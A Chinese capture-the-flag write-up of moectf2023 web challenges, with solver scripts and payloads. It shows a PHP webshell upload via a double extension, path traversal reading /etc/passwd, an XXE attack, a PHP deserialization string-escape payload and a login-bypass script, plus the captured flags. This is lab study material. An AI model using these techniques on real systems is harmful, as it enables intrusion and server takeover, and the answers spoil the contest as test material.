首页 > 其他分享 >moectf2023 web wp

moectf2023 web wp

时间:2025-01-08 10:10:43浏览次数:1  
标签:username web moectf2023 admin re wp qi data find

gas!gas!gas!

直接跑脚本

import requests

session=requests.Session()
url="http://127.0.0.1:14447"
steering_control=0
throttle=1
for i in range(10):
    datas={"driver":1,"steering_control":steering_control,"throttle":throttle}
    print(datas)
    data=session.post(url,data=datas)
    try:
        re=data.text.split('<font color="red">')[1].split("</font>")[0]
    except:
        print(data.text)
    if re.find("右")>-1:
        steering_control=-1
    if re.find("直行")>-1:
        steering_control=0
    if re.find("左")>-1:
        steering_control=1
    if re.find("小")>-1:
        throttle=0
    if re.find("保持")>-1:
        throttle=1
    if re.find("大")>-1:
        throttle=2
    print(re)

moe图床

先随机上传一个带有一句话木马的png文件image-20250104154216743

查看前端代码image-20250104154243520

发现有个upload.php

image-20250104154328716

它只取第一个后缀,那我们可以试着构造1.png.phpimage-20250104154520334

然后蚁剑连接

image-20250104154546302

meo图床

先上传一张图片,发现image-20250104160540989

调用了name参数,来存放文件。尝试是不是文件穿越

image-20250104160641540

发现能读取/etc/passwd

尝试读取/flag

image-20250104160720736

发现了突破口

image-20250104160800572

image-20250104161030273

大海捞针

/?id=1进行id爆破

image-20250104180835884

了解你的座驾

先抓包

image-20250105105352404

URL解码得到xml_content=XDU moeCTF Flag

可以判断为XXE漏洞

image-20250105105448898

再进行URL编码image-20250105105524886

moectf{DO-Y0u-lIk3-the_xXE_VUlHuB-phP-tO_Get_Flag_@fTEr_G@Sgasgas0}

夺命十三枪

发现require_once('Hanxin.exe.php'); 直接/Hanxin.exe.php

根据代码审计,我们需要把$Spear_Owner = 'Nobody';改成MaoLei

同时我们已经知道了目前的payload是O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}

image-20250105211304515

发现str_replace 猜测为字符串逃逸 逃逸部分为";s:11:"Spear_Owner";s:6:"MaoLei";}

image-20250105211349182

所以payload=

?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

moectf{PhP_UnsErI@1_coDE-I5_w3LC0me-@Nd_yOU-shoU1D_eScAPe_from_the_filter0}

signin

assert users["admin"] == "admin"
users中存在用户名“admin”密码也为“admin”,表面上看需要传入的参数也为admin/admin。

image-20250105223913189

继续分析源码可以发现eval()语句将base64.b64encode覆写为base64.b64decode

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]
#当传入的参数items为2个时该函数等价于求两个参数的异或值并返回,所以当两个参数相等时不管该参数为何值,返回值都为0
#而传入参数有两个过滤,username不能等于“admin”,且username不能等于password,而拿到flag需要hashed值为0,怎么才能做到呢?

而传入参数有两个过滤,username不能等于“admin”,且username不能等于password,而拿到flag需要hashed值为0,怎么才能做到呢?

接下来编写脚本即可把构造的json数据base64编码五次

import requests
import base64

url = "http://localhost:64817/login"
username = "\"1\""
password = "1"
jsondata = "{\"username\":"+f"{username}"+",\"password\":"+f"{password}"+"}"
print(f"{jsondata = }")
for _ in range(5):
    jsondata = base64.b64encode(str(jsondata).encode()).decode()
data = "{\"params\":\""+f"{jsondata}\""+"}"
print(f"{data = }")
req = requests.post(url=url,data=data).text
print(f"{req = }")

标签:username,web,moectf2023,admin,re,wp,qi,data,find
From: https://www.cnblogs.com/DSchenzi/p/18659109

相关文章

  • JavaWeb—Servlet详解
    前言:        本章节主要学习Servlet基础知识点,收录于JavaWeb系列,该系列主要讲解Servlet、JSP、Filter过滤器、Session、分层开发概念等知识点,欢迎童鞋们互相交流。觉得不错可以三连订阅喔。 目标:一、概念二、入门程序        1.创建Servlet类    ......
  • Window迷你网页服务器MyWebServer支持php用fastcgi_mod.dll方式
    前言全局说明Window迷你网页服务器MyWebServer支持php用fastcgi_mod.dll方式一、说明1.1环境:php-5.3.29-Win32-VC9-x86MyWebServer_v3.6.22二、文件准备2.1先确认fastcgi_mod.dll和MyWebServer.exe在同目录下2.2下载fastcgi_mod.dll(如有,可跳过此步)去MyWe......
  • Window迷你网页服务器MyWebServer支持php用ISAPI方式
    前言全局说明Window迷你网页服务器MyWebServer支持php用ISAPI方式ISAPI方式,是比较旧的技术了,大概在2011年左右,官方放弃此方式。如果不在意性能,临时用用还是可以的。一、说明1.1环境:PHP5.2.x(因5.3不再支持ISAPI方式,大概2011年左右停止支持)MyWebServer_v3.5.46......
  • MyWebServer提示501 Server error .php 映射支持模块加载失败!请检查相关模块文件是否
    前言全局说明MyWebServer提示.php映射支持模块加载失败!请检查相关模块文件是否存在,版本是否匹配!一、说明1.1环境:二、问题提示:501Servererror.php映射支持模块加载失败!请检查相关模块文件是否存在,版本是否匹配!三、解决方法3.1缺少fastcgi_mod.dll文件......
  • springboot毕设 基于JavaWeb的博客网 程序+论文
    本系统(程序+源码)带文档lw万字以上文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展和信息时代的到来,个人表达与知识分享已成为网络文化中不可或缺的一部分。博客,作为一种集个人日记、文章发布、观点交流于一......
  • SpringBootWeb案例-1(day10)
    准备工作需求&环境搭建需求说明环境搭建步骤:准备数据库表(dept、emp)创建springboot工程,引入对应的起步依赖(web、mybatis、mysql驱动、lombok)配置文件application.properties中引入mybatis的配置信息,准备对应的实体类准备对应的Mapper、Service(接口、实现......
  • Django 3 Web应用开发实战PDF、EPUB免费下载
    适读人群:适合有一定Python基础的Web开发人员阅读,也可用作培训机构和大中专院校相关专业的教学参考书。以DjangoWeb项目开发为主线,从源码的角度,深入剖析Django3企业级开发技术。电子版仅供预览,下载后24小时内务必删除,支持正版,喜欢的请购买正版书籍点击原文去下载书籍信息......
  • 【Java教程】Day21-13 Web开发:Web应用的文件结构与静态资源处理
    在开发JavaWeb应用程序时,除了常见的 Servlet 和 Filter 等逻辑组件外,还需要处理诸如 JSP 这样的视图文件和一些静态资源文件,如 CSS、JS 等。合理组织Web应用的文件结构至关重要,它能够提升开发效率,方便后期维护,并确保应用在生产环境中的高效运行。1.Web应用程序......
  • 【Java教程】Day21-01 Web开发:深入HTTP协议与简单HTTP服务器编写
    今天,我们访问网站、使用App时,基本上都基于Web架构,这种架构叫做Browser/Server模式,简称BS架构。BS架构的核心特征在于,客户端仅需一个浏览器,所有应用程序的逻辑和数据都存储在服务器端。客户端通过浏览器发出请求,服务器将Web页面返回并展示给用户。Web页面通常具有很强的交互性,H......
  • 使用 WebGL 绘制一个简单的点和原理解析
    使用WebGL绘制一个简单的点,我们需要通过WebGL的管线来进行一系列的步骤。以下是实现的详细步骤和原理解析:WebGL绘制点的基本步骤初始化WebGL上下文首先,我们需要获取WebGL上下文,这样才能进行所有的绘图操作。通常,WebGL上下文是通过<canvas>元素获取的。编......